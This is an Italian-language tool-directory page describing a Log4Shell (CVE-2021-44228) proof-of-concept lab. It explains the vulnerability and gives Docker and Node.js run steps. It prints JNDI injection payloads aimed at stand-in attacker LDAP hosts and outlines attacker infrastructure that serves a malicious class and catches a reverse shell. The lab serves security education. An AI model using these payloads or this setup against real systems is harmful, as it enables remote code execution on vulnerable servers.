Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
EXPLOIT-CVE-2021-44228 — PoC di CVE-2021-44228 | Kitploit
Strumenti/GitHubGitHub/joaovicdev/exploit-cve-2021-44228
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebApprendimento e FormazioneLab e Pratica
GitHubjoaovicdev/exploit-cve-2021-44228

EXPLOIT-CVE-2021-44228

PoC di CVE-2021-44228

Vedi Repository
4 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2021-44228 — Laboratorio PoC Log4Shell

AVVISO

Questo laboratorio è stato creato esclusivamente per scopi educativi e di ricerca sulla sicurezza. Tutto il traffico avviene all'interno di una rete Docker isolata. Non utilizzare questo materiale su sistemi reali o senza autorizzazione esplicita. L'uso improprio può costituire reato. Usa con responsabilità.


Cos'è la CVE-2021-44228?

La Log4Shell è una vulnerabilità critica (CVSS 10.0) scoperta a dicembre 2021 nella libreria di logging Apache Log4j 2, ampiamente utilizzata nelle applicazioni Java.

Come si verifica la vulnerabilità

Log4j ha una funzionalità di interpolazione delle espressioni: quando registra un messaggio, valuta le stringhe nel formato ${...}. Ad esempio, ${java:version} viene sostituito dalla versione di Java in esecuzione.

Il problema risiede nel supporto al protocollo JNDI (Java Naming and Directory Interface). Quando Log4j incontra un'espressione come:

root@kitploit:~
${jndi:ldap://atacante.com/exploit}

istruisce la JVM a effettuare una richiesta LDAP al server dell'attaccante. Il server risponde con un riferimento a una classe Java remota — e la JVM scarica e esegue quella classe, risultando in Remote Code Execution (RCE).

Il vettore d'attacco è semplice: qualsiasi campo registrato dal server (header HTTP, campi di modulo, cookie, ecc.) può essere il punto di ingresso del payload.

Versioni interessate

  • Log4j da 2.0-beta9 a 2.14.1
  • Corretto nella versione 2.15.0 (e definitivamente in 2.17.0)

Ambiente Vulnerabile

Il laboratorio simula un'applicazione Java reale utilizzando le versioni vulnerabili.

Endpoint vulnerabile

root@kitploit:~
GET http://localhost:8080/log

I seguenti header vengono registrati direttamente da Log4j — ognuno di essi può essere il vettore di iniezione:

  • X-Api-Version
  • User-Agent
  • X-Auth-Token

Infrastruttura dell'attaccante (container attacker)


Come usare l'exploit

Prerequisiti

  • Docker e Docker Compose installati
  • Node.js installato (per l'exploit)

1. Avviare l'ambiente completo

root@kitploit:~
docker-compose up --build

Attendi fino a vedere nei log:

root@kitploit:~
[*] Waiting for reverse shell on :9001 ...
Started Application in X seconds

2. Eseguire l'exploit

In un altro terminale, esegui l'exploit Node.js:

root@kitploit:~
node exploit/exploit.js

Output previsto:

root@kitploit:~
[*] CVE-2021-44228 — Log4Shell PoC
[*] Target  : http://localhost:8080/log
[*] Header  : X-Api-Version
[*] Payload : ${jndi:ldap://attacker:1389/Exploit}

[+] Response : 200 OK
[+] Body     : logged

[+] Payload delivered — check the attacker nc listener on port 9001

3. Verificare l'esecuzione

Osserva il terminale dove docker-compose è in esecuzione. Nei log del container attacker vedrai la connessione della reverse shell arrivare sulla porta 9001.

Per confermare touch /tmp/pwned all'interno dell'app vulnerabile:

root@kitploit:~
docker exec -it log4j-cve-2021-44228-vulnerable-app-1 ls /tmp/pwned

Argomenti personalizzati (opzionali)

root@kitploit:~
# node exploit/exploit.js [target] [ldapHost] [ldapPort] [className] [header]
node exploit/exploit.js http://localhost:8080/log attacker 1389 Exploit "User-Agent"

Di Guaxinim | Ricerca sulla Sicurezza Informatica

Scarica lo strumento
ComponenteVersionePerché è vulnerabile
Apache Log4j2.14.1Valuta ${jndi:...} senza restrizioni
JDK1.8.0_181Precedente alla patch 8u191 che imposta trustURLCodebase=false
Spring Boot2.5.6Solo il framework web; la vulnerabilità è di Log4j
ServizioPortaFunzione
marshalsec (LDAP)1389Riceve il lookup JNDI e reindirizza al server HTTP
Python HTTP server8888Serve il Exploit.class alla JVM della vittima
netcat listener9001Riceve la connessione della reverse shell